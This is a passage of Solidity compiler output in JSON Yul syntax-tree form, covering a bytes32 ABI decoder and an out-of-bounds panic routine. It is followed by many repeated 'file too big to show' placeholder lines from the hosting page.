"src": "1364:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1364:32:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1361:52:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1422:33:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1445:9:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "1432:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1432:23:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1422:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_bytes32", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "1317:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "1328:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "1340:6:1", | |
"type": "" | |
} | |
], | |
"src": "1281:180:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1498:95:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1515:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1522:3:1", | |
"type": "", | |
"value": "224" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1527:10:1", | |
"type": "", | |
"value": "0x4e487b71" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "1518:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1518:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1508:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1508:31:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1508:31:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1555:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1558:4:1", | |
"type": "", | |
"value": "0x32" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1548:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1548:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1548:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1579:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1582:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1572:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1572:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1572:15:1" | |
} | |
] | |
}, | |
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)
(Sorry about that, but we can’t show files that are this big right now.)